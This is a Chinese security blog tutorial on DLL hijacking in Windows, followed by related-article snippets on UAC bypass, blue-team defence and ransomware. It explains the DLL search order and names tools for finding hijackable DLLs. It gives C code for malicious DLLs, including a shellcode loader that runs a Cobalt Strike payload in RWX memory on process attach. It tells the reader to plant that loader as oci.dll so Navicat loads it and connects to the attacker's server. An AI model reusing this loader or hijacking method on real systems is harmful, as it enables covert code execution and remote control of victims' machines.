技术研究 - 从零开始学习 DLL 劫持

VSole2023-05-22 09:39:50

DLL 劫持

DLL 简介

在 Windows 中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即 DLL 文件,放置于系统中。当我们执行某一个程序时,相应的 DLL 文件就会被调用。一个应用程序可使用多个 DLL 文件,一个 DLL 文件也可能被不同的应用程序使用,这样的 DLL 文件被称为共享 DLL 文件。

DLL 加载顺序

如果程序需要加载一个相对路径的 dll 文件,它将从当前目录下尝试查找,如果找不到,则按照如下顺序寻找:

windows xp sp2 之前

Windows 查找 DLL 的目录以及对应的顺序:

  • 进程对应的应用程序所在目录;
  • 当前目录(Current Directory);
  • 系统目录(通过 GetSystemDirectory 获取);
  • 16 位系统目录;
  • Windows 目录(通过 GetWindowsDirectory 获取);
  • PATH 环境变量中的各个目录;

windows xp sp2 之后

Windows 查找 DLL 的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):

默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为 1

  • 进程对应的应用程序所在目录(可理解为程序安装目录比如 C:\ProgramFiles\uTorrent)
  • 系统目录(即 % windir% system32);
  • 16 位系统目录(即 % windir% system);
  • Windows 目录(即 % windir%);
  • 当前目录(运行的某个文件所在目录,比如 C:\Documents and Settings\Administrator\Desktop\test);
  • PATH 环境变量中的各个目录;

windows 7 以上版本

从 Windows7 之后,微软为了更进一步的防御系统的 DLL 被劫持,将一些容易被劫持的系统 DLL 写进了一个注册表项中,该项下的 DLL 文件就会被禁止从 EXE 自身所在的目录下调用,而只能从系统目录 SYSTEM32 目录下调用,其注册表位置:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

自动化挖掘

批量寻找劫持

https://github.com/wietze/windows-dll-hijacking

PLAINTEXT

1
python generate_pmc_files.py

单个查找劫持

https://github.com/knight0x07/ImpulsiveDLLHijack

编译完成后,把 Prerequisites 文件夹里的内容拷贝至 ImpulsiveDLLHijack 项目里

PLAINTEXT

1
ImpulsiveDLLHijack.exe -path xxx.exe

这里使用 navicat 进行测试,可见运行的时候会加载 C:\Users\dyy\AppData\Local\Programs\Python\Python38\Scripts\oci.dll

使用 cs 生成恶意 dll,重命名为 oci.dll 后放置到该目录下

手动挖掘

Process Monitor 查找可用 dll,设置如下图所示

配置完可以保存导出配置,下次直接导入使用

使用 GoogleUpdate.exe 进行测试,运行程序 filter 加载所使用的 dll 文件

这里可以看出来,当 GoogleUpdate.exe 程序运行的时候,会调用当前目录下的 goopdate.dll 文件

编写一个基础的弹窗 dll

JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include 
#pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH://DLL首次被加载到内存时运行
    case DLL_PROCESS_DETACH://DLL销毁时运行
    case DLL_THREAD_ATTACH://DLL线程加载时运行
    case DLL_THREAD_DETACH://DLL线程销毁时运行
        break;
    }
    return TRUE;
}
extern "C" __declspec(dllexport) int DllEntry(DWORD ArgList, int a2) {
    MessageBox(NULL, "I am DLL !", "DLL", MB_OK);
    return 0;
}

弹计算器


JAVA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

CS 上线

cs 生成 c 的 payload

生成的 payload 填入到下面相应的位置上

CPP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// 头文件
#include "pch.h"
#include 
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8";
DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
    LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpBase, shellcode, sizeof(shellcode));
    JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
    jmp_shellcode();
    return 0;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
        hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
    }
    return TRUE;
}

运行 navicat 程序就会上线

DLL 转发劫持

有时候当我们替换 dll 后,虽然可以执行命令,但是会产生报错

这时候我们可以使用 AheadLib 工具,使恶意的 DLL 将原有的函数转发到原 DLL 中并且释放恶意代码

打开工具导入 dll 文件,会生成相应的 cpp 文件

直接转发函数,我们只能控制 DllMain 即调用原 DLL 时触发的行为可控
即时调用函数,可以在处理加载 DLL 时,调用具体函数的时候行为可控,高度自定义触发点,也称用来 hook 某些函数,获取到参数值

文件目录dll劫持
本作品采用《CC 协议》,转载必须注明作者和本文链接
Kaspersky AVP.exe DLL 劫持
2022-07-21 22:53:31
Kaspersky AVP.exe 中的 DLL 注入允许本地管理员在不知道 Kaspersky 密码的情况
BypassUAC技术总结
2022-05-02 06:57:08
用户帐户控制(User Account Control,简写作UAC)是微软公司在其[Windows Vista](https://baike.baidu.com/item/Windows Vista)及更高版本操作系统中采用的一种控制机制,保护系统进行不必要的更改,提升操作系统的稳定性和安全性。
管理员在正常情况下是以低权限运行任务的,这个状态被称为被保护的管理员。我们劫持该exe文件的dll,可以达到Bypass UAC提权的目的。通过将恶意DLL放在真实DLL之前的搜索位置,就可以劫持搜索顺序,劫持的目录有时候包括目标应用程序的工作目录。实践出真知2这里使用第三种方法进行实验,实验对象是eventvwr.msc,它是管理工具中的事件查看器,它依赖于mmc.exe来运行。
Bypass UAC 技术总结
时间线11 月 10 日,我们发现了一次多阶段 PowerShell 攻击,该攻击使用冒充哈萨克斯坦卫生部的
蓝队初级防护总结
2023-01-09 10:11:55
三. 网站被上传webshell如何处理?工具方面比如使用D盾webshellkill,河马webshell查杀,百度在线webshell查杀等工具对网站目录进行排查查杀,如果是在护网期间可以将样本备份再进行查杀。堡垒机是针对内部运维人员的运维安全审计系统。WAFWAF是以网站或应用系统为核心的安全产品,通过对HTTP或HTTPS的Web攻击行为进行分析并拦截,有效的降低网站安全风险。
堡垒机是针对内部运维人员的运维安全审计系统。WAFWAF是以网站或应用系统为核心的安全产品,通过对HTTP或HTTPS的Web攻击行为进行分析并拦截,有效的降低网站安全风险。设置账户锁定策略,比如说登录行为限制次数,达到次数后锁定多长时间。
x64dbg插件编写基础
2023-04-13 09:28:19
② 脚本DLL,就是编写一个DLL导出 AsyncStart() or Start(),然后通过命令scriptdll/dllscript来加载DLL执行代码。在x64dbg的文档中并没有说明 "插件" 到底是一个什么东西,只是说插件的后缀名叫dp32或者dp64,通过观察其他的插件发现其实就是DLL,只不过是导出了一些指定函数的DLL。本文的目的就是说明编写x64dbg插件的步骤,然后编写一个简单的x64dbg插件。
0x0概述 近年来,老式勒索病毒依旧活跃,而新型勒索病毒花样百出,深信服安全云脑就捕获到一款具有“地方特色”的勒索病毒,其加密后缀为.beijing。及lock_XXX文件; 勒索提示文档: 遍历目录下所有文件; 打开待加密文件; 重命名为*.beijing; 使用AES算法加密; 文件末尾写入二次加密后的AES密钥 完成加密后自删除。
VSole
网络安全专家